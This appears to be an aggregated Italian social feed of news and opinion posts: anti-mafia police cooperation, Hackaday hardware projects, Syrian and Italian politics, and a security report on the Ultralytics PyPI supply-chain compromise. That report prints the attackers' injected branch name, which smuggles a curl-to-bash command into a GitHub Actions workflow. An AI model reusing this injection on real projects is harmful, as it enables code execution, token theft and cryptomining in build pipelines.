Salta al contenuto principale



La rete antimafia @ON si riunisce a Roma


Immagine/foto

Recentemente a Roma, presso il Centro Operativo DIA, si è tenuto un meeting della Rete @ON (Antimafia Operational Network) con i rappresentanti delle Forze di Polizia di Belgio, Germania, Francia, Paesi Bassi, Spagna ed EUROPOL che unitamente, all’Italia rappresentano il Core Group del Network.

La DIA (Direzione Investigativa Antimafia) sostiene con impegno l’azione di contrasto internazionale alle mafie, anche attraverso una mirata attività di cooperazione di Polizia per il contrasto del fenomeno transnazionale delle più pericolose organizzazioni criminali.

Il recente evento romano riveste un particolare valore simbolico in quanto ricaduto a 10 anni esatti dall’istituzione della Rete @ON, con la risoluzione del 4 dicembre 2014 del Consiglio dell’Unione Europea, promossa dalla DIA, quale risultato del Dipartimento della Pubblica Sicurezza nel corso del Semestre di Presidenza italiana di turno.

Immagine/foto

Lo scopo della Rete @ON è quello di rafforzare la cooperazione delle Forze di Polizia contro i principali gruppi della criminalità organizzata, anche di tipo mafioso, che hanno un impatto sulla sicurezza dei cittadini europei.

I gruppi criminali sottoposti ad attenzione sono italiani, di etnia albanese, euroasiatici, bande di motociclisti, ma anche quelli emergenti (Moccro Maffie, nigeriane ed altre) che pongono un serio rischio per la sicurezza e l’economia dell’UE.

La DIA ha promosso, ottenuto e gestito – quale leader dell’iniziativa – progressivi finanziamenti della Commissione UE per sostenere le attività operative delle 51 Agenzia di Polizia che aderiscono al Network in rappresentanza di 44 Paesi.

Ad oggi il Network sta supportando le Unità investigative partner in 216 investigazioni e ha finanziato 617 missioni in favore di oltre 2.500 investigatori che hanno portato all’arresto di 1.068 persone, inclusi 15 latitanti oltre al sequestro di circa 271 milioni di euro, droga, veicoli, beni di lusso ed armi.



Pedaling your Mobile Web Server Across the Globe


Front view of blue bicycle with Raspberry Pi webserver

We tinkerers often have ideas we know are crazy, and we make them up in the most bizarre places, too. For example, just imagine hosting a website while pedaling across the world—who would (not) want that? Meet [Jelle Reith], a tinkerer on an epic cycling adventure, whose bicycle doubles as a mobile web server. [Jelle]’s project, jelle.bike, will from the 6th of December on showcase what he’s seeing in real time, powered by ingenuity and his hub dynamo. If you read this far, you’ll probably guess: this hack is done by a Dutchman. You couldn’t be more right.

At the heart of [Jelle]’s setup is a Raspberry Pi 4 in a watertight enclosure. The tiny powerhouse runs off energy generated by a Forumslader V3, a clever AC-to-DC converter optimized for bike dynamos. The Pi gets internet access via [Jelle]’s phone hotspot, but hosting a site over cellular networks isn’t as simple as it sounds. With no static IP available, [Jelle] routes web traffic through a VPS using an SSH tunnel. This crafty solution—expanded upon by Jeff Geerling—ensures seamless access to the site, even overcoming IPv6 quirks.

The system’s efficiency and modularity exemplify maker spirit: harnessing everyday tools to achieve the extraordinary. For more details, including a parts list and schematics, check out [Jelle]’s Hackaday.io project page.


hackaday.com/2024/12/08/pedali…



La fine del cinquantennale regime degli Assad segna una vittoria per la Turchia, gli USA, Israele e le petromonarchie che hanno sostenuto per tredici anni la guerra per procura delle forze jihadiste. Il piano statunitense di disgregazione dei grandi stati che erano stati protagonisti molti decenni fa del nazionalismo panarabista dopo Iraq e Libia ha avuto come bersaglio la Siria. Il regime, indebolito dalla guerra civile, dalle sanzioni e dall’occupazione americana dei suoi siti petroliferi, non ha retto ulteriormente senza il supporto di Hezbollah e Iran duramente colpiti da Israele. Non è chiaro cosa sia successo in questi giorni e il ruolo svolto dalla Russia e da altre potenze. La condanna della repressione che ha caratterizzato il regime laico degli Assad certo non giustifica lo sdoganamento come liberatori degli jihadisti di Al Quaeda come Jolani e il suo HTS o degli islamisti dello SNA che con l’esercito turco attaccano il Rojava curdo, l’unica realtà di autogoverno democratico e convivenza della regione. Il presunto liberatore di Damasco ha già definito il PKK di Ocalan organizzazione terrorista. Come al solito i media occidentali sdoganano come “ribelli” i fondamentalisti islamici quando sono al loro servizio. In questo contesto l’Italia e l’Unione Europea, dovrebbero operare per garantire il rispetto dei diritti umani dell’intera popolazione siriana, vera vittima di questa guerra eterna e del diritto internazionale, la salvaguardia dell’integrità territoriale della Siria, la protezione delle minoranze e del Rojava dall’aggressione islamista e turca. una transizione democratica attraverso una conferenza di pace con tutte le forze in campo sotto l’egida del segretario generale ONU e la costruzione delle condizioni per la convivenza di tutte le comunità con il metodo del confederalismo democratico, la determinazione della natura dello stato (confederale o federale) e delle istituzioni per arrivare a libere elezioni sotto supervisione dell’ONU. Va negato qualsiasi riconoscimento internazionale a formazioni terroristiche islamiste che intendano imporre sharia e persecuzione delle donne. Su questi obiettivi proponiamo di mobilitarci unitariamente in Italia e in Europa alle forze politiche e sociali di sinistra e antifasciste e ai movimenti pacifisti, antimperialisti e femministi. Al popolo siriano, in tutte le sue componenti, vanno garantiti pace, libertà e diritti, così come alle altre popolazioni martoriate del Medio Oriente.

Maurizio Acerbo, segretario nazionale del Partito della Rifondazione Comunista – Sinistra Europea



New Tullomer Filament Claims to Beat PEEK, Aluminium and Steel


27597243

Recently a company called Z-Polymers introduced its new Tullomer FDM filament that comes with a lofty bullet list of purported properties that should give materials like steel, aluminium, and various polymers a run for their money. Even better is that it is compatible with far lower specification FDM printers than e.g. PEEK. Intrigued, the folks over at All3DP figured that they’d should get some hands-on information on this filament and what’s it like to print with in one of the officially sanctioned Bambu Lab printers: these being the X1C & X1CE with manufacturer-provided profiles.

The world of engineering-grade FDM filaments has existed for decades, with for example PEEK (polyether ether ketone) having been around since the early 1980s, but these require much higher temperatures for the extruder (360+℃) and chamber (~90℃) than Tullomer, which is much closer (300℃, 50℃) to a typical high-performance filament like ABS, while also omitting the typical post-process annealing of PEEK. This assumes that Tullomer can match those claimed specifications, of course.

One of the current users of Tullomer is Erdos Miller, an engineering firm with a focus on the gas and oil industry. They’re using it for printing parts (calibration tooling) that used to be printed in filaments like carbon fiber-reinforced nylon (CF-PA) or PEEK, but they’re now looking at using Tullomer for replacing CF-PA and machined PEEK parts elsewhere too.

It’s still early days for this new polymer, of course, and we don’t have a lot of information beyond the rather sparse datasheet, but if you already have a capable printer, a single 1 kg spool of Tullomer is a mere $500, which is often much less or about the same as PEEK spools, without the requirement for a rather beefy industrial-strength FDM printer.


hackaday.com/2024/12/08/new-tu…



Muri digitali in Azione: esercitazioni Runet in Daghestan per isolare l’Internet russo dal mondo


Il 6 dicembre in Daghestan sono state registrate interruzioni nel funzionamento dei servizi online stranieri, tra cui WhatsApp, Telegram e YouTube. Il motivo è stato un esercizio di Roskomnadzor (Il Servizio federale per la supervisione delle comunicazioni, della tecnologia dell’informazione e dei mass media della federazione russa), nell’ambito del quale sono stati testati scenari per disabilitare l’accesso al segmento straniero di Internet.

Il provider Ellco ha riferito che dalle 16:00 l’accesso a una serie di servizi era limitato.

Caro abbonato, in connessione con gli esercizi in corso di Roskomnadzor per testare scenari per disabilitare l’accesso al segmento straniero di Internet, oggi, 6 dicembre 2024, dalle 16:00, ci sono restrizioni all’accesso ad alcuni siti e servizi. (WhatsApp, ecc.) Purtroppo non possiamo influenzare questa situazione. Tempo di recupero stimato, 16:00 del 7/12/2024.”

Roskomnadzor ha spiegato a Kommersant che le esercitazioni hanno lo scopo di determinare l’efficacia della “infrastruttura di sostituzione delle chiavi” in caso di chiusura deliberata del segmento Internet russo dall’esterno. Inoltre, vengono individuati i sistemi informativi le cui prestazioni dipendono dalla comunicazione con servizi, biblioteche e altre risorse situate in reti di comunicazione straniere.

Lo scopo dell’esercitazione è confermare la disponibilità dell’infrastruttura Internet russa a controllare i principali servizi stranieri e russi in caso di deliberata influenza esterna“, ha affermato l’RKN.

All’inizio di novembre, sui canali Telegram ha cominciato a circolare una lettera inviata dalla Banca Centrale alle banche russe, in cui si affermava che Roskomnadzor intende condurre esercizi a dicembre “per disabilitare l’accesso al segmento estero di Internet in alcune regioni”.

Quindi il dipartimento ha spiegato che la verifica della disponibilità dei sistemi chiave per garantire la sostenibilità della Runet viene effettuata annualmente, il programma per la loro attuazione è approvato dal Ministero dello sviluppo digitale della Russia in accordo con l’FSB della Russia e Roskomnadzor. “I controlli non influiscono sull’accesso a Internet degli utenti russi“, ha riferito RKN.

L'articolo Muri digitali in Azione: esercitazioni Runet in Daghestan per isolare l’Internet russo dal mondo proviene da il blog della sicurezza informatica.

Gazzetta del Cadavere reshared this.




Tiny NFC-Powered Keychain Thermometer


ATTiny NFC Thermometer keychain with keys

What if your keychain could tell you the temperature, all while staying battery-free? That’s the essence of this innovative keychain ‘NFC_temp’ by [bjorn]. This nifty gadget harnesses energy from an NFC field—like the one created by your smartphone—to power itself just long enough to take a precise temperature reading. Using components like an ATTiny1626 microcontroller, a TMP117 thermometer, and an RF430CL330H NFC IC, NFC_temp cleverly stores harvested power in a capacitor to function autonomously.

The most impressive part? This palm-sized device (18×40 mm) uses a self-designed 13.56 MHz antenna to draw energy from NFC readers. The temperature is then displayed on the reader, with an impressive accuracy of ±0.1 °C. Creator [bjorn] even shared challenges, like switching from an analog sensor due to voltage instability, which ultimately led to his choice of the TMP117. Android phones work best with the tag, while iOS devices require a bit more angling for reliable detection.

Projects like NFC_temp underscore the creativity within open source. It’s a brilliant nod to the future of passive, wireless, energy-efficient designs. Since many of us will all be spending a lot of time around the Christmas tree this month, why not fit it in a bauble?


hackaday.com/2024/12/08/tiny-n…



Supply Chain Sotto Attacco! La Libreria Python Ultralytics è stata violata


È stato attaccato il repository della libreria Python Ultralytics, ampiamente utilizzata nelle attività di visione artificiale. Approfittando di questa vulnerabilità, i criminali informatici hanno pubblicato versioni dannose della libreria su PyPI, progettate per il mining di criptovalute.

La vulnerabilità era associata al pacchetto ultralytics-actions, che automatizza l’avvio di gestori per determinate azioni nel repository. Questo è lo scopo per cui viene utilizzato il meccanismo GitHub Actions. Nel progetto Ultralytics, il gestore collegato all’evento pull_request_target ha chiamato il file format.yml per formattare il codice nelle richieste pull in entrata. Questo file eseguiva comandi shell con modelli di caratteri jolly come:

git pull origin ${{ github.head_ref || github.ref }}

git config –global utente.nome “${{ input.github_nomeutente }}”

git config –global user.email “${{ input.github_email }}”

Gli aggressori hanno inviato una richiesta pull al repository Ultralytics, specificando la seguente riga come nome del ramo:

openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Ciò ha comportato l’esecuzione del comando:

curl -sSfL raw.githubusercontent.com/…/file.sh | bash

Di conseguenza, gli aggressori hanno avuto accesso ai token del repository e ad altri dati riservati. Si ritiene che abbiano modificato il gestore di pubblicazione per rimuovere la verifica dell’account autorizzato a pubblicare versioni su PyPI e abbiano utilizzato la tecnica di avvelenamento della cache di build di GitHub Actions per inserire i propri dati nella versione.

La prima versione dannosa di Ultralytics, versione 8.3.41, è stata pubblicata su PyPI il 4 dicembre alle 23:51 (MSK) ed eliminata alle 12:15 del giorno successivo. Alle 15:47 è stata pubblicata un’altra versione 8.3.42, che è stata rimossa alle 16:47. Pertanto le versioni dannose sono rimaste disponibili per il download per circa 13 ore. Queste versioni contenevano codice che scaricava il componente di mining XMRig da un server esterno.

Gli sviluppatori hanno risolto rapidamente il problema e hanno rilasciato le versioni correttive 8.3.43 e 8.3.44. Due giorni dopo, però, gli aggressori hanno nuovamente pubblicato le versioni dannose 8.3.45 e 8.3.46, che contenevano un codice diverso. Fino al completamento dell’indagine, si consiglia agli utenti di astenersi dall’installare nuove versioni e di impegnare la versione 8.3.44 come dipendenze.

L'articolo Supply Chain Sotto Attacco! La Libreria Python Ultralytics è stata violata proviene da il blog della sicurezza informatica.

Maronno Winchester reshared this.



Aziende che legiferano: X aiuta ad aggiornare il Kids Online Safety Act nella spinta finale per l'approvazione alla Camera guidata dai repubblicani

Sembra che gli sponsor scommettano sul fatto che il sostegno di Elon Musk potrebbe far pendere la bilancia verso il traguardo

"Guidati da X, i nuovi cambiamenti apportati al Kids Online Safety Act rafforzano il disegno di legge, salvaguardando al contempo la libertà di parola online e assicurando che non venga utilizzata per soffocare l'espressione", hanno affermato i senatori repubblicani Blumenthal e Blackburn in una dichiarazione congiunta

theverge.com/2024/12/7/2431552…

@Politica interna, europea e internazionale



Ormai i tuoi post su Bluesky sono probabilmente in un mucchio di set di dati

Ora che è stato infranto il sigillo sull'estrazione dei post di Bluesky in set di dati per l'apprendimento automatico, le persone stanno prendendo in giro gli utenti e si stanno superando a vicenda creando set di dati sempre più grandi di post di Bluesky non resi anonimi e con testo completo, presi direttamente dal flusso pubblico della piattaforma di social media, tra cui uno che contiene quasi 300 milioni di post.

@Intelligenza Artificiale

404media.co/bluesky-posts-mach…

reshared this



Per rilanciare la Difesa europea 500 miliardi non bastano. Il punto di Nones

@Notizie dall'Italia e dal mondo

Secondo un articolo del Financial Times, a Bruxelles si starebbe valutando la creazione di un nuovo fondo per gli acquisti militari congiunti, dal valore di 500 miliardi euro. Il tema della difesa europea rimane centrale, ma il nuovo fondo rischia di non essere



Una riserva militare modulare e prontamente mobilitabile. Il progetto sulle Forze armate

@Notizie dall'Italia e dal mondo

Nel n. 111 dell’Osservatorio di Politica internazionale, intitolato “Una forza di riserva per l’Italia”, a cura di Matteo Mazziotti di Celso e del generale Francesco Diella, si affronta una riflessione, non più rimandabile, sulla costruzione di una riserva militare in grado di coniugare quantità e



SIRIA. Caduta Damasco, Bashar Assad è fuggito


@Notizie dall'Italia e dal mondo
I miliziani di Hay'at Tahrir al Sham e i loro alleati hanno annunciato dalla televisione pubblica di aver preso il potere
L'articolo SIRIA. Caduta Damasco, Bashar Assad è fuggito proviene da Pagine Esteri.

pagineesteri.it/2024/12/08/med…






PODCAST. Siria. Caduta Hama, i jihadisti si lanciano verso Homs e Damasco


@Notizie dall'Italia e dal mondo
Le forze jihadiste guidate da Hay'at Tahrir Al Sham che stanno travolgendo oltre ogni previsione l'esercito siriano, ora circondano Homs e sono a pochi chilometri da Damasco. L'analisi del giornalista Lorenzo Trombetta, esperto di Siria e Libano
L'articolo



Troppa burocratizzazione in Esa. L’astronauta Vittori scrive al ministro Urso

@Notizie dall'Italia e dal mondo

Egregio ministro, la storia dello spazio italiano rappresenta un capitolo straordinario, che continua a suscitare orgoglio nel nostro Paese. Dal lancio del satellite San Marco, di cui quest’anno celebriamo il 60° anniversario, al contributo ineguagliabile alla




Sesta generazione, il programma statunitense Ngad rimane sospeso in vista dell’insediamento di Trump

@Notizie dall'Italia e dal mondo

L’Aeronautica degli Stati Uniti ha deciso di lasciare ai vertici politici della prossima amministrazione la decisione ultima sul programma Next generation air dominance (Ngad). Recentemente, il programma Ngad era andato



Every Saturday at 1 pm I host a radio broadcast called "One Week in Poland", where I report the most relevant news of the last 7 days in Poland.

If you like it you can listen it here: imiradio.pl/




Romania, annullato il risultato del primo turno di presidenziali
La Corte Costituzionale romena ha annullato il risultato del primo turno delle elezioni presidenziali tenutesi due settimane fa, che avevano visto trionfare a sorpresa il candidato indipendente di destra Călin Georgescu, con il 23% delle preferenze. La vittoria di Georgescu ha gettato nel panico i partiti pro-UE a causa delle sue posizioni euroscettiche e anti-NATO, e ieri a Bucarest si è tenuta una manifestazione in sostegno della presenza romena nell’UE. L’annuncio arriva dopo le dichiarazioni del presidente romeno, Klaus Iohannis, che ha accusato la Russia di aver condotto una vasta campagna mediatica per promuovere Georgescu sulle piattaforme social. Ora l’intero processo elettorale dovrà essere ripetuto, comprese registrazione e convalida delle candidature.

L'Indipendente

Le elezioni vanno bene solo quando vincono i pro eu/Nato.



#SXM è al terzo posto della #classificafimi #album e al secondo nei #supporti fisici, a trent'anni dalla prima pubblicazione. Una vera sorpresa per quanto mi riguarda. Senti come suona! youtube.com/watch?v=hZfCAlZiCi…
#musicaitaliana #rap #hiphop

djpanini reshared this.



di Paolo Ferrero dal Fatto Quotidiano -

Ho letto con grande interesse l’articolo di Elena Basile uscito oggi sul Fatto quotidiano con il titolo L’occidente è in guerra, il dissenso ora si unisca. Senza voler fare torto all’articolazione dei ragionamenti ivi contenuti, mi pare di poter affermare che il centro dell’articolo – e della proposta politica ivi contenuta – si possa riassumere nella seguente affermazione: “È essenziale il contrasto alla guerra in nome della giustizia sociale, di politiche statali che limitino la belva sfrenata del mercato capitalista, degli interessi delle oligarchie della finanza. Questa è la strada”.

Condivido. La prospettiva di unire le forze che si oppongono alla guerra, alle politiche di guerra, all’austerità liberista e antipopolare ritengo sia il punto fondamentale di una politica che punti all’alternativa.

Ho letto con grande interesse l’articolo di Elena Basile uscito oggi sul Fatto quotidiano con il titolo L’occidente è in guerra, il dissenso ora si unisca. Senza voler fare torto all’articolazione dei ragionamenti ivi contenuti, mi pare di poter affermare che il centro dell’articolo – e della proposta politica ivi contenuta – si possa riassumere nella seguente affermazione: “È essenziale il contrasto alla guerra in nome della giustizia sociale, di politiche statali che limitino la belva sfrenata del mercato capitalista, degli interessi delle oligarchie della finanza. Questa è la strada”.

Condivido. La prospettiva di unire le forze che si oppongono alla guerra, alle politiche di guerra, all’austerità liberista e antipopolare ritengo sia il punto fondamentale di una politica che punti all’alternativa.

Oggi, le principali forze politiche dell’attuale schieramento bipolare, FdI da una parte e Pd dall’altra, condividono con una sintonia al limite dell’imbarazzante lo stesso impianto politico guerrafondaio e le politiche economiche ad essa connesse. Ovviamente Meloni e Schlein hanno culture politiche, linguaggi e immaginari politici assai diversi, ma concordano sull’essenziale e in sede europea lo hanno mostrato ampiamente con il sostegno a Ursula von der Leyen e al suo progetto guerrafondaio, subalterno agli interessi degli Usa e liberista e con l’incredibile voto a favore del lancio dei missili a medio raggio sulla Russia, cioè a favore della terza guerra mondiale.

La prospettiva che indica Elena Basile implica quindi che si costruisca una alternativa non solo alle destre ma anche al Pd, e che si scardini consapevolmente l’impianto bipolare oggi imperante nel nostro paese e che tanti danni ha provocato in questi decenni. Un compito arduo ma necessario, visto che è sempre più evidente che il sistema dell’alternanza non apre la strada all’alternativa ma invece la nega, in una danza immobile di alternanza tra simili che litigano su tutto salvo che sull’essenziale. Di questo si è accorta la maggioranza della popolazione che non va più a votare.

Oltre a condividere la prospettiva che propone Basile, penso anche che oggi vi siano le condizioni per realizzarla.

In primo luogo le politiche di guerra, oltre ai morti e ai feriti, producono impoverimento generale. Non solo perché l’enorme aumento delle spese militari – anche questo condiviso da centrodestra e centrosinistra – porta con sé un drammatico taglio delle spese sociali, ma perché le sanzioni economiche stanno distruggendo l’economia europea, a partire da quella tedesca e da quella italiana. Il no alla guerra non è solo un imperativo etico che riguarda la “testa”, ma una necessità sociale che riguarda la “pancia” della nostra gente. Il no alla guerra e alle politiche di riarmo è oggi una proposta politica maggioritaria nel nostro paese. Bisogna avere il coraggio di praticarla con determinazione.

In secondo luogo è del tutto evidente che in tutta Europa sta andando in crisi l’equilibrio fondato sul liberismo guerrafondaio: in Germania, in Francia ma anche in Romania e in altri paesi questa prospettiva non regge. Il caso della Francia è emblematico e occorre sottolineare la grande visione che ha animato la politica di Melenchon, che dopo aver piegato la sinistra liberista ha rotto il tabù del voto con la destra pur di arrivare a mettere in crisi il governo macronista. La situazione europea ci dice con chiarezza che il sistema centrodestra-centrosinistra, che ha gestito il liberismo di Maastricht, sta saltando e che in assenza di una risposta da sinistra saranno le forze di destra a capitalizzare questa crisi.

Infine, è sempre più evidente che l’alleanza – non solo militare – tra l’Europa e gli Usa è una fregatura. Il ciclo iniziato con la seconda guerra mondiale, discutibile ma comunque con una qualche utilità per l’Europa, è morto e sepolto. Gli Usa, mentre cercano di prolungare con la guerra la propria posizione di inaccettabile privilegio a livello mondiale, stanno succhiando sangue come un vampiro all’alleato europeo. E’ sempre più evidente che gli interessi dell’Europa non coincidono per nulla con quelli delle elites statunitensi: non coincidono sul piano delle politiche economiche, né su quello della guerra e delle politiche di riarmo. Il problema è che questo evidente sfruttamento dell’Europa da parte degli Usa è chiaro a tutti salvo che alle classi dirigenti europee che – a partire da Draghi – sono i principali fautori della sudditanza del vecchio continente.

Per tutte queste ragioni penso non solo che sia necessario costruire una convergenza tra le forze contro la guerra e contro il liberismo, ma che vi sia uno spazio politico vero per costruire questa prospettiva politica come prospettiva popolare, per costruire una coalizione popolare che, al di là delle legittime idee e differenze su mille questioni, si trovi unita sui punti fondamentali dello scontro politico odierno. Il no alla guerra e alle politiche di guerra, il no al liberismo e alle politiche di austerità, il no alla distruzione dell’ambiente, dei diritti sociali e civili costituiscono gli assi attorno a cui imbastire questa convergenza, questa coalizione popolare. Nel ringraziare Elena Basile di aver sollevato il problema non posso che dire: discutiamone e lavoriamoci!



La FantaPrivacy del FantaSanremo.


@Privacy Pride
Il post completo di Christian Bernieri è sul suo blog: garantepiracy.it/blog/fantasan…
Poche cose sono certe nella vita come il Festival di Sanremo. Con esso, mi aspetto anche il FantaSanremo. Bello, più volte ho espresso ammirazione per l'idea e apprezzo quel brio che ha dato al festival. Una simbiosi vincente. Ma... c'è sempre un "ma" e, di…



Sulla sostanza delle cose dette da Conte sono completamente d’accordo e non mi interessa disquisire sull’uso della parola sinistra visto che in Italia è stata disonorata da governi che hanno fatto politiche antipopolari. I commentatori che attaccano Conte per la maggior parte hanno fatto da scorta mediatica alle sciagurate politiche neoliberiste del PD da cui Elly Schlein cerca di distanziarsi. La posizione di Conte sulla guerra e le politiche europee coincide con quella che Rifondazione sostiene da anni e quindi non posso che essere solidale. Non capisco perchè AVS non unisca la sua voce a quella del M5S dicendo chiaramente al PD che uno schieramento contro la destra deve avere come discriminante il no alla guerra e a un Patto di Stabilità europeo che punta sull’industria bellica e l’aumento delle spese militari. Già nel 2022 proposi una coalizione popolare pacifista e la ripropongo al M5S e AVS. Porre la discriminante della guerra non significa fare il gioco della destra ma chiedere chiarezza sulla questione fondamentale oggi in Europa. Il PD dovrebbe smetterla di essere il partito che vota per l’invio di armi a paesi belligeranti e sostiene le guerre della NATO. Anche la presa di distanza dalla commissione europea di Ursula von der Leyen è una richiesta minima. Come ripeto in ogni iniziativa unitaria contro le destre un fronte antifascista e per la Costituzione dovrebbe partire dal ripudio della guerra sancito dall’articolo 11. Per fare unità bisogna dire basta alla guerra e all’adesione all’austerità ordoliberista. Come si possono criticare i tagli alla sanità e alla spesa pubblica di Giorgia Meloni se non si mettono in discussione il Patto di stabilità e le regole europee? Sono sicuro che la maggior parte delle elettrici e degli elettori del PD e del centrosinistra chiedono politiche di pace e giustizia sociale, cioè di sinistra.

Maurizio Acerbo, segretario nazionale del Partito della Rifondazione Comunista



This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we talk about health insurance.#BehindTheBlog


While Reddit mods and admin try to keep up with the site's "no violence" terms of use, Facebook and LinkedIn is reacting with tens of thousands of laughing emojis.

While Reddit mods and admin try to keep up with the sitex27;s "no violence" terms of use, Facebook and LinkedIn is reacting with tens of thousands of laughing emojis.

#x27


A group of fans are reverse engineering Netflix and creating unauthorized archives of interactive shows like Battle Kitty and Minecraft: Story Mode#News
#News


PODCAST. Siria. Caduta Hama, i jihadisti si lanciano verso Homs


@Notizie dall'Italia e dal mondo
Prosegue l'offensiva delle forze guidate da Hay'at Tahrir Al Sham che sta travolgendo oltre ogni previsione le forze governative siriane. L'eventuale caduta di Homs taglierebbe i collegamenti verso la costa e le basi russe. L'analisi del giornalista Lorenzo Trombetta, esperto di



in italia il maschilismo esiste e comunque fisicamente una donna a parità di preparazione fisica è in inferiorità tecnica. certo non è questo che dovrebbe contare in una società evoluta, ma in fondo siamo sempre quelli dei manganelli. è chiaramente un problema sociale ancora da risolvere. i media vanno un po' dove porta il sensazionalismo. specie in italia. non fanno fede e non sono significativi. è l'ora di finirla che se una donna chiede pari dignità i maschi italici si sentono sminuiti. è ora di appendere la clava al chiodo.


GAZA. Truppe israeliane circondano l’ospedale “Kamal Adwan”, decine di morti a Beit Lahiya


@Notizie dall'Italia e dal mondo
Il direttore Hussam Abu Safiya riferisce che: “La situazione è catastrofica. Non ci sono più chirurghi. Quattro membri dello staff medico e un ragazzo di 16 anni, sono stati uccisi"
L'articolo GAZA. Truppe israeliane circondano



AFGHANISTAN – Mai più ostetriche né infermiere


@Notizie dall'Italia e dal mondo
È l’ultimo attacco alle donne da parte dei Talebani: le ragazze non potranno più frequentare i corsi di formazione in ostetricia e infermieristica, l’unica strada che era rimasta loro per studiare e trovare un lavoro. Migliaia di studentesse resteranno adesso a casa, l’intera popolazione femminile è reclusa. Il



in reply to Signor Amministratore ⁂

@Signor Amministratore ⁂
Da kann ich leider nicht weiterhelfen da ich nur Anwender und kein Entwickler bin. Evtl. findest Du da was im Addon Repository auf Github was zu.
in reply to Montag

@Montag Ah, ok... jetzt verstehe ich. Sie haben diese Änderung gesehen, weil auf Ihrem Server Version 2024.09-rc ausgeführt wird 🙏


Ho sognato di avere una tresca con una specie di sviluppatore di software libero con la metà dei miei anni e che, per la propria sicurezza, dormiva in una stanza chiusa da un portellone blindato tipo caveau di banca spesso almeno un metro.

Credo sia un segno evidente che devo staccarmi un po' da Friendica e Mastodon. 😂




di Maurizio Acerbo, Paolo Berdini -

Il provvedimento che il centro destra insieme al Pd ha approvato pochi giorni fa alla Camera, è un colpo mortale alle nostre città, ma anche ai princìpi della nostra Costituzione Il cosiddetto “Salva Milano”, che una maggioranza trasversale – centro destra insieme al PD – ha approvato pochi giorni fa alla Camera, è un colpo mortale per le nostre città, ma anche per i principi della nostra Costituzione. Vediamo le tre questioni rilevanti. Da alcuni mesi la Magistratura milanese ha aperto inchieste su numerosi cantieri che, sulla base di un’interpretazione fantasiosa e disinvolta delle leggi, erano stati autorizzati.

La Camera dei Deputati entra a gamba tesa in questa vicenda prendendo le parti dei proprietari fondiari e dei costruttori con un condono che riguarda scandali inauditi (palazzi di otto piani al posto di capannoni alti quattro metri, per fare un esempio) con una “interpretazione autentica” della legge urbanistica e del testo unico dell’edilizia. Il legislatore interviene esplicitamente per rendere vano il controllo di legalità in corso.

Una mostruosità che un tempo avrebbe indignato tutta l’Italia democratica e progressista passa con il voto del principale partito di opposizione perché va in soccorso di una giunta di centrosinistra che – in continuità con le amministrazioni di destra – ha svenduto la città all’immobiliarismo. Vanno ringraziati per la loro opposizione i comitati, gli urbanisti come Sergio Brenna, anche Rifondazione e la lista “Milano in Comune” che si sono presentate in alternativa proprio denunciando questa deriva. La vandea contro la Magistratura milanese è stata scatenata sulla base di argomentazioni che capovolgono la verità dei fatti. Tutti i quotidiani di destra (Libero, Il Giornale e La Verità) hanno costruito una campagna sostenendo che, a causa delle indagini, i valori immobiliari di Milano rischiavano di precipitare e si stavano perdendo 40 miliardi di investimenti privati.

La prima tesi è completamente falsa. Le analisi sui valori immobiliari uscite in questi giorni confermano che Milano ha raggiunto livelli vertiginosi, i più alti d’Italia. Le giunte di centrosinistra che guidano da più di un decennio la città un risultato lo hanno ottenuto: hanno premiato la rendita immobiliare e nello stesso tempo espulso verso l’hinterland la parte più povera della città. La seconda tesi non dice che dietro ai 40 miliardi “scomparsi”, c’è il dato che i costruttori milanesi non hanno versato alla collettività milanese come minimo 1 miliardo di euro. E mentre i 40 miliardi torneranno sicuramente ad essere investiti, per recuperare gli oneri di urbanizzazione non versati dovremo aspettare sentenze che potrebbero non arrivare se il condono sarà approvato anche al Senato.

Quegli oneri servono per costruire servizi sociali, scuole e parchi. L’urbanistica da bere milanese ignora gli articoli 3 e 41 della Costituzione. Sala ha agito da Robin Hood alla rovescia, la Camera dei Deputati ha sancito per legge questo furto ai danni della comunità. La legge “Salva Milano” infine cancella la certezza del diritto. Si permette infatti di demolire e ricostruire nuovi edifici anche alterando i confini e le altezze esistenti. È una modalità di intervento molto delicata perché nelle città sono stratificati i diritti dei proprietari confinanti ad avere luce, panorama, e affacci. Ne sanno qualcosa gli incolpevoli cittadini milanesi che hanno visto nascere mostri di cemento di otto piani che precludono loro la vista e l’aria.

La legislazione vigente in materia, di chiaro impianto liberale, assoggettava questa modalità di intervento alla redazione di un piano urbanistico di dettaglio. Si voleva in questo modo salvaguardare quei diritti che citavamo, perché la procedura è pubblica. Vengono a conoscenza del piano consiglieri, comitati e singoli cittadini che possono, proprio in forza della legge, presentare osservazioni o eventualmente ricorrere alla giustizia amministrativa.

Non sarà più possibile. Gli “energumeni” del cemento armato – ripetiamo destra più Pd –
vogliono consentire questi interventi con una semplice comunicazione agli uffici comunali.
In tal modo conoscono lo scempio imminente solo il proprietario e il tecnico comunale. Il
modello Milano incriminato dalla Magistratura sta per diventare la nuova urbanistica da
esportare in ogni città italiana. Bisogna fermare questa vergogna.

dal Manifesto



Devo cambiare telefono ?


Va bene la sicurezza e l'innovazione, pero mi pare ci si stia legando un po troppo mani e piedi ad un dispositivo che dopo breve tempo diventa obsoleto ... e rifiuto.

ilsoftware.it/il-tuo-dispositi…

ilsoftware.it/android-app-banc…



🔴Nord-Est della Siria sotto attacco: il futuro del Rojava è a rischio

@Politica interna, europea e internazionale

Dal 26 novembre 2024, il Nord-Est della Siria è teatro di una rinnovata e devastante crisi umanitaria. Gli scontri tra i gruppi jihadisti di Hayat Tahrir al-Sham (HTS), l’Esercito Nazionale Siriano (SNA) sostenuto dalla Turchia e il governo di Assad hanno provocato finora oltre 500 morti e costretto più di 200.000 civili, tra cui donne, bambini e anziani, a fuggire dalle loro case. Le famiglie, esposte al gelo e prive di ripari, vivono in condizioni disumane in un contesto già segnato da anni di conflitti.

Nella serata di lunedì 2 dicembre, HTS e le fazioni alleate hanno annunciato di avere preso il controllo di sette città nella regione di Hama, tra cui il villaggio di Qasr Abu Samra. Accerchiata anche la regione di Shahba, dove l’assalto delle fazioni dell’SNA sta costringendo migliaia di rifugiatx curdx e di altre etnie a esodare. Scontri infine a Deir ez-Zor, dove si teme possano risvegliarsi cellule dormienti dell’ISIS.

